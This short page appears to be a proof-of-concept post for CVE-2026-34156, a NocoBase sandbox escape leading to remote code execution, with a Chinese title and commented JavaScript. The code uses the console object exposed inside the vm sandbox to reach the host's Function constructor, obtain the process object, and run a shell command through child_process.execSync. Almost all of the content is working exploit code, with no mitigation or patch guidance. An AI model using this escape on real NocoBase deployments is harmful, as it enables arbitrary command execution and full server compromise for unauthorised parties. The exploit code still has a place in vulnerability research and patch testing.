CVE-2026-34156 NocoBase沙箱逃逸致RCE漏洞

// CVE-2026-34156 PoC Concept // The sandbox receives the host's 'console' object. // We can leverage internal properties to escape the vm sandbox. // 1. Access the internal stream object exposed via console const internalStream = console._stdout; // 2. Traverse the prototype chain to reach the base Object constructor // and eventually retrieve the host's Function constructor const HostFunction = Object.getPrototypeOf(internalStream).constructor.constructor; // 3. Use the HostFunction to execute code in the outer (host) context // 'process' is usually available in the global scope of Node.js const process = HostFunction('return process')(); // 4. Execute arbitrary system commands (e.g., RCE) process.mainModule.require('child_process').execSync('touch /tmp/pwned');